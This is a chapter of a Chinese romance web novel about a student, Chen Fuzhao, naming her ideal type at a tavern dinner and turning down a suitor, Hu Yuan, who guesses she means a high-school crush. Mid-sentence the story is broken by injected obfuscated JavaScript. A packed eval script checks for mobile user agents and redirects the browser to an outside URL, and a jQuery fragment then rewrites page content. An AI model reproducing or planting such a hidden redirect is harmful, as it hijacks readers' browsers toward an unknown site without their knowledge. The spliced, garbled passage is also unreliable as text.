终于是问出自己想问的了。陈芙昭在心里想着。
但此刻,比起回答这个问题,她更加有点好奇身边那人的反应,于是她用余光悄悄地瞥了他一眼。
发现此刻的陆屿时正沉着脸,表情也很差,很明显是对许知言这样冒然的话感到不舒服。
只是他刚要开口说什么,陈芙昭却收回目光,抢先一步道:“以前倒是没发现你就那么热心啊?”
闻言,陆屿时不禁偏过头看向她,见她面色如常,嘴边的话甚至都是玩笑着的口吻,嘴边还没说出口的话又重新咽了回去。
许知言自然也能听出陈芙昭的话是在戏谑自己,所以干笑了几声,但却没有说话,只等着她的回答。
其实从许知言一定要和拼桌坐在一起开始,陈芙昭就早看透了对方今天的意思,所以……照道理来说她完全可以随意搪塞一句,又或者是干脆不回答。
但是……
她想着什么,怒了怒嘴,佯装出做出一副思考的样子,“嗯……让我想想……”
她嘴边刻意卖关子,目光却很不经意地扫过陆屿时,她看着他,看见他听到自己的话后,原本要拿手边杯子的手动作一顿,但只有几秒,很快又恢复如常。
但还是被她敏锐地发现了,于是,因为陆屿时那一个动作停住的一瞬间,让陈芙昭突然改变了想法,她觉得这个问题似乎也值得自己认真地回答。
所以,过了半晌,她才缓缓开口道:“我喜欢,长得高的、瘦的,然后长相酷的男生。”
其实陈芙昭嘴边说的话很大概,很容易让人觉得是随口说的,但是她回答这个问题的时候神色又很认真,不像是假的。
于是,许知言看了看其他两人,继续问道:“就这些?性格方面什么的呢?”
“这个我不是太在乎吧,只要是我喜欢的人,什么性格我应该都会喜欢。”
话落,像是没想到她会这样说,桌上都沉默着,连最先扯这个话题的许知言都一时不知道该说什么。
眼见他们都不说话,陈芙昭有些不解道:“怎么了?突然都不说话了?”
“……没什么,只是没想到你的理想型是这样的啊哈哈……”许知言开口嘻嘻哈哈着打马虎眼,却也闭口不提刚才说要给陈芙昭介绍男朋友的话了。
说罢,他又大口喝了一口酒,注意到身边的好友在听到陈芙昭的回答后越变越差的脸色,自觉不妙,他刚想偷偷瞥一眼对面另一个好友的脸色,结果却发现陆屿时此刻似乎也有点心不在焉。
但很快,对面的他就注意到他看向自己目光,抬起眼也看着他。
许知言见此只能悻悻地干笑了几声,然后低下头喝酒彻底不说话了。
-
直到这顿饭结束,陈芙昭也能察觉到桌上的气氛有点奇怪,虽然她不太确定是为什么,但时间已经不早了,所以她站起身,借口说要先回宿舍。
陆屿时也跟着一起站起来,说送她回去。
只是在酒馆门口,要离开这的前一秒,许知言突然从里面跑了出来,他举着手机,喊着陆屿时,说老胡找他们两有事要商量,要他们现在过去。
陆屿时停住脚步,因为对方刚才在桌上的不着调,有些不相信地看了他一眼,但很快自己的手机上也亮起了消息,见状,他有些为难地看了陈芙昭一眼。
察觉到他看着自己的目光,陈芙昭体贴道:“没事,你先去吧,我就在这等你。”
“好,我很快就回来,等我。”说罢,他拉着许知言快步朝着酒馆的后台走去。
陈芙昭看着他急匆匆地离开,直到背影消失在人堆里,她刚要收回目光,却看见胡渊朝自己这边走了过来。
他走到她的身边,在她疑惑的目光下伸出手喊着她:“陈芙昭,你的东西掉在椅子上了。”
顺着他的话她视线下移,果然在他手里看到了一枚亮黄色钻石耳钉,于是她下意识地摸了下耳朵,发现左边耳朵的耳垂上空落落的,“啊……谢谢,不知道什么时候掉的,我没注意。”
说着,她边道谢边从他手里拿过自己的东西。
然后胡渊就看着面前的她,把自己耳朵上的另外一个耳钉也取了下来。
“你不带上去吗?”他看着她问道。
“啊?哦因为我怕带上去等会在半路上又掉了。”她说着把手里的两枚耳钉一起放进了口袋里,“这对耳钉我还挺喜欢的,要是丢了我会很难过的。”
“是吗?”胡渊听着她的话,听到她说自己喜欢的东西,他很清楚陈芙昭只是在说耳钉,可他却很不合时宜地想到了方才在桌上许知言问出的那个问题,还有以及……她的回答,于是他的脸色瞬间落寞了几分,语气也有些不明:“这对耳钉的确很漂亮,也很适合你,也难怪你喜欢……”
“……”
陈芙昭听着他的话,总觉得怪怪的,好像有点意有所指的意思,所以尴尬地笑了笑没说话。
但胡渊大概也是意识到自己说错了话,让场面冷了下来,赶紧主动开口扯开话,“对了,你今天怎么会和陆屿时一起来这里啊?感觉你们看起来还挺熟的。”
“嗯对,我和他在学校里报了一个社团,他最近在教我弹吉他,正好他说今天有演出,我又正好没事,就顺便过来玩了。”绕来绕去,最终还是没跳开这个话题,但陈芙昭早就想好了今天有些话本身就要说清楚,所以也很坦然地解释着。
“原来是这样。”胡渊点点头,终于明白了刚才在吃饭的时候许知言为什么要提关于吉他的事情,“许知言那家伙一向都是一肚子坏水,有的时候是不是还是挺讨人厌的?”
他开着玩笑,但其实话里话外已经把话给挑明了。
许知言到底为什么要这样做,为什么要把话题往他、她和陆屿时身上引,他想,其实当时在座的四个人都很明白。
只是……陈芙昭也没想到他会那么直接地说出来,反倒也有些意外。
她其实并不是一个不会拒绝别人的人,只是比起隔着手机的决绝,当下面对着胡渊本人,她还是有点难办。
怕话太残忍,但有些话是必须要说残忍一点才行。
所以她抿着唇,没有立刻接话。
而胡渊显然也明白她不说话的意思,于是他张了张嘴,嘴边想说的话已经变得很犹豫和烫嘴,但他看着面前不说话的她,最终还是开口道:“是……我不好吗?所以让你连了解接触一下的想法都没有吗?”
其实正如陈芙昭说的一样,大家都不是傻子,胡渊不是看不明白,只是或许他是需要一个答案的,但也只需要一个答案就可以了,毕竟机会这两个字,她从未给过他。
但陈芙昭也没想到他会这样想自己,于是连忙摇了摇头道:“没有,你很好,作为朋友的话,你觉得是我认识的很多人里最幽默风趣的人,但……”
她嘴边的话踌躇着,在思考要用怎样的形式说出来才能不那么伤害他,但胡渊却没有等她思考完,就先一步替她补上了后面没说出口的话,“但你就是不喜欢我,对吗?”
陈芙昭闻言一愣,这下是彻底不知道还能说什么了,所以过了很久,外面的冷风灌入耳边,她最后也只能说出一句“抱歉”。
听到意料之中的答案,胡渊不禁苦涩地笑了下,“刚才你在吃饭的时候,说的那个……喜欢的理想型,其实就是你喜欢的人吧?”
他这话看似是疑问,但语气却很肯定,肯定到陈芙昭都有些错愕,“什、什么?”
她嘴边的话
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17425853|200379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
都有些结巴,立刻开始回想自己方才说过的话,想完自己的回答却还是不明白他为什么这样说。
但这番话还是问得她有些慌,她怕对方是看出了什么。
“其实你说的理想型应该就是一个人吧。”而胡渊看着她的反应,更加证实了自己的猜测。
其实陈芙昭自己都没有意识到,在回答许知言的那个问题的时候,她露出的表情很认真,认真到让人轻而易举地能感觉到,她并不像是在说一个大概的“理想型模版”,而是在想着一个很具体的人说出的答案。
胡渊也的确没有说错,只是陈芙昭自己都没有察觉到而已。
那会在桌上,她说这话的本意其实也是一种隐晦的挑明,因为胡渊的长相其实是温柔那一卦的,和她喜欢的类型完全相反,除此之外……她也承认自己主要是也想看看陆屿时的态度和反应。
所以她自己都没注意到,在回想后说出口的那个理想型……居然是依照着那个人的一切那么顺嘴地说出来的。
而那个人,是回忆里的那个人。
“也许你说的是对的吧。”她想了会,没有否认。
“那个人是谁?方便的话你能告诉我吗?虽然我这样八卦得好像和许知言那家伙也没什么区别,但是我还是很想知道。”
他很想知道,那个能被陈芙昭喜欢的人是谁。
陈芙昭听着他的话,却没有因为他并没有看出自己说的是谁而松口气。
因为她突然觉得自己好像也没有办法回答,她不想欺骗面前的人,最终也只能道:“他……是我高中的时候喜欢的一个男生。”
这是实话,只是她没有说出具体的名字,只说了一个过去的昵称。
高中的字眼让她也陷入一些回忆,思绪不自觉地飘远,有些恍惚起来。
高考好像才是几个月前发生的事情,但有关于那个人,似乎已经深耕在记忆里太久了。
当下与过去,明明是近在咫尺的距离,她却莫名觉得和回忆里的人有些割裂。
她的脑海里不合时宜地扬起这个奇怪的想法,以至于连胡渊后面问自己的话都没有听清。
直到许知言从门后面走出来,开口问着他们在聊什么,才打断了她胡乱的思绪。
见他都已经出来了,却没有看见陆屿时,陈芙昭开口问道:“陆屿时人呢?”
“欸他没出来吗?老胡找我们聊完我看他就出去了啊,都过好一会了,我还以为你们早走了。”
听着这话,她不由得皱起眉,刚想在手机上给陆屿时发去消息,却见他下一秒走了出来。
“你干吗去了?怎么出来得比我都慢?”
“后台落了个东西,刚去拿了。”他语气平淡地说着。
但许知言去没有看到他手里有任何东西,刚想开口问着什么,陆屿时却先道:“那我们先走了。”
这话是对着陈芙昭说的,她抬眼看了他一眼,才点头道:“好。”
然后,她和胡渊两人道了个别,虽然刚才没说完的话已经被打断,但胡渊已经得到了自己的答案,所以他释然地笑着,和陈芙昭说了再见。
无视身边许知言略带八卦和好奇的问题声音,他看着他们两人渐渐走远的背影,慢慢收回目光。
在当下,谁也没有意识到,今天的一切都为往后埋下来一个错误的锚点,陈芙昭没有听清的那个问题,其实是连她都错过的一瞬间。
因为胡渊发现了,她在桌上谈起那个她嘴边男生的时候,嘴角是擒着笑的,但她始终都低垂着眼,没有望向桌上的任何一个人。
这也是当时桌上的他们在听到她答案后都不说话的原因。
在那一个时刻,陈芙昭喜欢的“那个人”并不在现场。